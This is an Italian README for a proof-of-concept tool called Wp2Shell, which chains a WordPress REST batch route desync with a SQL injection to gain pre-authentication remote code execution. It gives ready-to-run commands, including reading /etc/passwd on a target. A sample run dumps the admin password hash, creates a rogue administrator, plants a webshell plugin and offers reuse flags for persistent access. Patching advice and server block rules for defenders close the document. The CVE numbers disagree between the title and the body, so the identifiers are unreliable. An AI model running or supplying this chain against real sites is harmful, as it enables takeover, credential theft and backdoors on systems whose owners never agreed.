
Exploit POC per Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Esecuzione remota di codice pre-autenticazione nel core di WordPress.
CVE-2026-60137 (SQL Injection in WP_Query) in combinazione con CVE-2026-63030 (REST API Batch Route Confusion).
Solo per scopi educativi e di ricerca sulla sicurezza autorizzata.
Le versioni di WordPress dalla 6.9.0 alla 6.9.4 e dalla 7.0.0 alla 7.0.1 sono vulnerabili. La correzione è inclusa nelle versioni 6.9.5 e 7.0.2.
L'exploit combina due vulnerabilità:
CVE-2026-63030 — Batch Route Confusion. L'endpoint batch della REST API in /wp-json/batch/v1 (o /?rest_route=/batch/v1) elabora le sotto-richieste in due fasi: abbina ogni percorso a un handler, quindi inoltra ogni richiesta tramite l'handler associato. Quando un percorso deliberatamente malformato (///) viene inserito come prima sotto-richiesta, WordPress memorizza un WP_Error all'indice 0 dell'array delle rotte abbinate. Questo sposta ogni successiva assegnazione di handler indietro di un indice. Il ciclo di dispatch associa quindi ogni richiesta all'handler sbagliato — una richiesta validata rispetto allo Schema A viene eseguita dall'Handler B, bypassando la sanitizzazione dei parametri imposta dallo Schema A.
CVE-2026-60137 — SQL Injection in WP_Query. L'endpoint della raccolta dei post accetta un parametro author_exclude il cui schema impone valori di array di tipo intero, sanitizzando ogni elemento con absint() prima che raggiunga WP_Query. La desincronizzazione del batch fa sì che questo parametro bypassi completamente la validazione dello schema e arrivi alla logica author__not_in di WP_Query come stringa grezza. Poiché absint() viene applicato solo all'interno di un ramo is_array(), la stringa grezza viene interpolata direttamente nella clausola SQL WHERE, consentendo l'iniezione UNION SELECT.
L'intera catena procede in quattro fasi:
UNION SELECT riflesse nella risposta JSON REST.wp_posts che avvelenano la cache oEmbed e attivano l'hook di pubblicazione del changeset di WP_Customize_Manager, che chiama wp_insert_user() con role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
Non è richiesto alcun pip install.
Esegue tutte e quattro le fasi: conferma della desincronizzazione, ricognizione SQL, creazione dell'amministratore e distribuzione della webshell. A ogni esecuzione vengono creati un nuovo account amministratore e un nuovo plugin.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Contro un target HTTPS con certificato autofirmato:
python3 exploit.py --url https://TARGET --command "id" --insecure
Dopo il completamento di un'esecuzione a catena completa, lo script stampa un comando di riutilizzo pronto all'uso con le credenziali distribuite e il percorso della shell precompilati. Passa questi tre flag nelle esecuzioni successive per saltare completamente le fasi di SQL e creazione dell'amministratore:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
I tre flag --admin-* / --prev-webshell-plugin devono essere forniti tutti insieme oppure nessuno di essi.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Aggiorna immediatamente a una versione corretta.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6Se non è possibile applicare subito la patch, blocca entrambe le forme URL dell'endpoint batch a livello di web server o WAF. Entrambe le rotte devono essere bloccate — una regola che copra solo la forma con permalink leggibile lascia scoperta la forma con query string:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
Oppure disabilita l'endpoint dall'interno di WordPress utilizzando un plugin must-use:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
Considera tutti i controlli pre-patch solo come ponti temporanei. Applica la patch il prima possibile e, successivamente, verifica la versione installata su ogni istanza esposta a Internet.
Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. Eseguirlo contro qualsiasi sistema senza l'esplicito permesso scritto del proprietario del sistema è illegale. Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Flag | Breve | Descrizione |
|---|
--url | -u | URL di base di WordPress di destinazione. Predefinito: http://localhost:8080 |
--command | -c | Comando del sistema operativo da eseguire. Predefinito: id |
--insecure | -k | Disabilita la verifica del certificato TLS per i certificati autofirmati |
--admin-user | Modalità riutilizzo: nome utente amministratore creato in precedenza | |
--admin-password | Modalità riutilizzo: password amministratore creata in precedenza | |
--prev-webshell-plugin | Modalità riutilizzo: percorso web del plugin webshell già distribuito |